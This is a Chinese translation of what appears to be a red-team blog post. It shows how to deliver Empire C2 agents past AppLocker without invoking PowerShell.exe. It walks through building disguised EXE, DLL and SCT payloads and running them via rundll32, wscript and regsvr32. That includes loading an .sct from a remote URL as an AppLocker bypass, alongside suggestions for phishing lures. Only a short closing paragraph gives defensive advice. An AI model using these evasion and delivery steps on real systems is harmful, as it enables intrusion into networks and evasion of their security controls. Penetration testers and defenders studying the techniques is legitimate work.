导语:客户端已经使用AppLocker阻止了Powershell.exe运行,我也无法执行Cobalt Strike。我想通过网络钓鱼攻击在工作站上获得一个Empire的有效载荷,一旦我在内网立足我就需要准备攻击所用的有效载荷。

遇到的问题

客户端已经使用AppLocker阻止了Powershell.exe运行,我也无法执行Cobalt Strike。我想通过网络钓鱼攻击在工作站上获得一个Empire的有效载荷,一旦我在内网立足我就需要准备攻击所用的有效载荷。Empire中几乎所有的启动方法都依赖于使用PowerShell.exe的功能。像msbuild.exe这样的一些其他方法需要将文件放到磁盘上,我真的很喜欢利用regsvr32方法通过互联网加载我的.sct(它也会将文件丢到磁盘上)并使用ducky。我也非常感谢VBA在文档或HTA中的简单性。但问题是,Empire是一个Powershell RAT,所以PowerShell必须要能运行。

解决此问题的一种方法是通过互联网可访问的SMB共享来调用Empire.dll或Empire.exe。我还没有尝试这种方法,但确保它是有效的。我不喜欢SMB方法是因为这是出站的SMB连接,流量检测可以发现这种不寻常的行为。我相信我有一种好的解决办法。

我要使用的三个有效载荷

1.  构建一个empire.exe

2.  构建一个empire.dll

3.  构建一个不调用powershell.exe的empire.sct

我们将要使用的工具和资源有:

1.  SharpPick codebase by @sixdub

2.  DotNetToJS  由James Foreshaw(@tiraniddo)开发

3.  AllTheThings  由凯西史密斯(@subtee)开发

4.  Visual Studio。不是绝对必要的,但它是我所知道的,免费的且下载量很大的一个IDE。大概你可以使用csc.exe构建你的项目,但是我还没有测试过。我选择了Visual Studio 2010 for PowerPick,虽然在2012年可能会正常工作。我知道这很难下载。2010/2012的好处在于,它带有越来越难找到的旧的.NET库。

没有上述作者的一些研究工作,我将无法做到这一点,我非常感激这些前人。接下来是简单地组合一些不同的伟大工作,以达到我以前找不到工作的具体结果。

*注意:在我的研究中,我遇到了两个几乎完全相同的事情的项目,这两个项目都使用了DotNetToJScript,而这两个项目都对我非常有用。

1.  StarFighters  (@ Cn33liz)。首先,我非常喜欢从互联网直接下载运行编码过的二进制文件。这包含一个编码的powershell.exe,它接收并执行你的启动器代码。我尝试过,并且能够获得一个Empire Shell,但不能执行脚本。

2.  CACTUSTORCH  (@vysecurity)。我也尝试过这个,但是它真的想要将shellcode注入到你选择的二进制文件中,我无法弄清楚如何使用SharpPick将启动器设置为shellcode。这可能是可行的,我只是不知道如何使用。这个例子@vysecurity提供了使用Cobalt Strike或Meterpreter shellcode作为输出。

构建Empire.exe

我经常看到Cobalt Strike与“updates.exe”一起使用,这是一个无阶段运行的灯塔。对于Empire来说,你可以用这种方法做类似的事情。将其添加到电子邮件提示中,比如建议安装新的反病毒软件的欺骗邮件。或者通过psexec或wmi或在Outlook中嵌入的OLE对象  (@tyler_robinson)来运行它。

这可能是在不调用Powershell.exe的情况下获取代理的最简单的方法。

在开始前,请通过git 获取你的PowerPick副本,并在Visual Studio中打开该项目。

首先,你需要混淆某些项目属性。更改程序和程序集信息的名称。从菜单“项目 – > SharpPick属性”中选择即可进入。确保将“输出类型”更改为“Windows应用程序”,以便在从CLI中双击或执行后,程序能在后台运行。

legitsoftwareprops.png

单击“组装信息”按钮,并更改这些属性。

legitsoftwareinfo.png

现在,你需要要将Program.cs中的代码更改为(gist):

empireexe-e1501028408406.png

字符串“stager”只包含base64编码的Empire启动器信息。这将被解码并传递给RunPS(),它将PowerShell命令发送到System.Management.Automation,其中真正的PowerShell魔术实际上已经发生了。这是直接进入Windows的核心。

现在进入你的菜单,选择“Build – > Build Solution”或点击“F6”。你的牛逼闪闪的新二进制文件应该在“PowerTools  Empire_SCT  PowerPick  bin  x86  Debug”中生成。

**你可能会收到一个关于ReflectivePick没有建立的错误,没关系。你可以通过转到“Build – > Configuration Manager”并从“项目上下文”中取消选择“ReflectivePick”来消除该错误。我们不需要它。

通过双击可执行文件或简单地在CLI上运行它来测试你生成的二进制文件。它应该在你启动或执行后在后台运行。

构建Empire.dll

也许你需要一个DLL,所以你可以使用AppLocker绕过方式的其中一种来实现。一个很好的例子是rundll32.exe。为了做到这一点,我们将改变我们的项目,并在我们的代码中添加一些入口点。以下代码直接来自@ subtee的“AllTheThings”。

就像EXE一样,打开项目并改变这些属性。在项目属性中需要更改的其他重要事项是“输出类型”,它需要更改为 “类库”。你也应该将“启动对象”设置为下拉菜单中的默认值(基于你的命名空间和类名称)。

legitlibraryprops.png

接下来,安装Visual Studio的nuget包管理器。一旦安装完成,你需要通过运行以下命令来获取依赖关系“UnmanagedExports”:

PM> install-package UnmanagedExports

nuget_install_dll.png

接下来,打开“Program.cs”,并更改你的代码看起来像下面这样,除了几个“using”语句未显示,但大部分都包含在gist中:

empiredll.png

再次去“构建 – >构建解决方案”或点击“F6”,你应该在你的构建目录中会生成一个LegitLibrary.dll(和上面一样)。

通过运行以下步骤来测试新的DLL

rundll32.exe LegitLibrary.dll,EntryPoint

这应该会返回一个新的代理到你的EmpireC2。如果你查看Process Explorer,你将看到rundll32作为一个新的进程运行。

构建Empire.sct

这种方式可能是最复杂的,因为它涉及到一些比较繁琐的步骤。最终结果基本上是这样的:将PowerShell转换成.NET应用程序,将该.NET应用程序转换为一个javascript文件中的base64编码的二进制文件,然后将其填充到.SCT中。你可以使用regsvr32调用该脚本,该脚本可以执行在你的Web /文件服务器上存放的.SCT的JavaScript代码。

我们的目标是Empire.exe有效载荷,但是要转换为base64。项目选项应该与你为Empire.exe所做的相同,换句话说就是“Windows应用程序”。代码有点不一样,因为JavaScript需要一些公共方法来实现和执行我们的代码(gist)。

empireforjs.png

构建后,去目录找到你生成的二进制,它应该是一个exe。

接下来,去下载DotNetToJScript  并在Visual Studio中打开该项目,将其.NET目标更改为“.NET 3.5”(或2.0)项目选项并编译(构建)它。一旦构建,找到DotNetToJScript.exe和它的配套NDesk.Options.dll,并将它们放在与LegitScript.exe二进制文件相同的位置。

运行以下命令(-c是入口点,更改为你选择的namespace.class):

. DotNetToJScript.exe -c = LegitScript.Program -o = legitscript.js legalscript.exe

这应该会输出一个legalscript.js。DotNetToJScript输出有其他几种语言,包括用于嵌入Office文档的VBA和VBScript,或者你可能需要的其他东西。

你可以通过运行以下步骤进行下一步的测试:

wscript.exe legalscript.js

执行后应该会在后台启动一个新的代理工作站。它将作为进程监视器中的“wscript”运行。

如果你已经确认这正常的工作了,那么现在是把它包装成一个.sct,所以我们可以用regsvr32.exe来调用它。

将legalscript.js的全部内容放入CDATA标签(如下图)。你可以使用以下方式获取Empire中的XML格式:

(Empire:usestager windows / launcher_sct

设置无关紧要,但你可以将其设置为监听器,并确保“OutFile”设置为null或“”空值,因为这将打印内容并进行屏幕显示。如果你从Empire获取内容,请从CDATA标签中删除所有内容,并将其替换为legalscript.js。

empire_sct.png

保存为2legit.sct并进行测试:

regsvr32 / s / n / u /i:2legit.sct scrobj.dll

这会再次返回一个新的代理。你可以将该.sct保存到你的网络或文件服务器,并用“/i:https ://example.com/2legit.sct””远程替换“/i:” 。这是一个AppLocker绕过方式,因为regsvr32.exe是Microsoft签名的二进制文件。

结论

PowerShell非常的棒,攻击者已经使用它好几年了。我们向客户提供的最佳建议是通过PowerShell约束模式保持其环境的锁定,禁用PowerShell v2,并将企业级PowerShell升级到支持脚本块日志记录的最新版本。让PowerShell在你的环境中执行非常困难,几乎不切实际,因此至少知道何时以及如何使用它。

感谢@subtee与我一起参与一些新想法,@vysecurity帮我的解答疑问,以及所有与这些工作有关系的巨人和项目作者。

源链接

Hacking more

...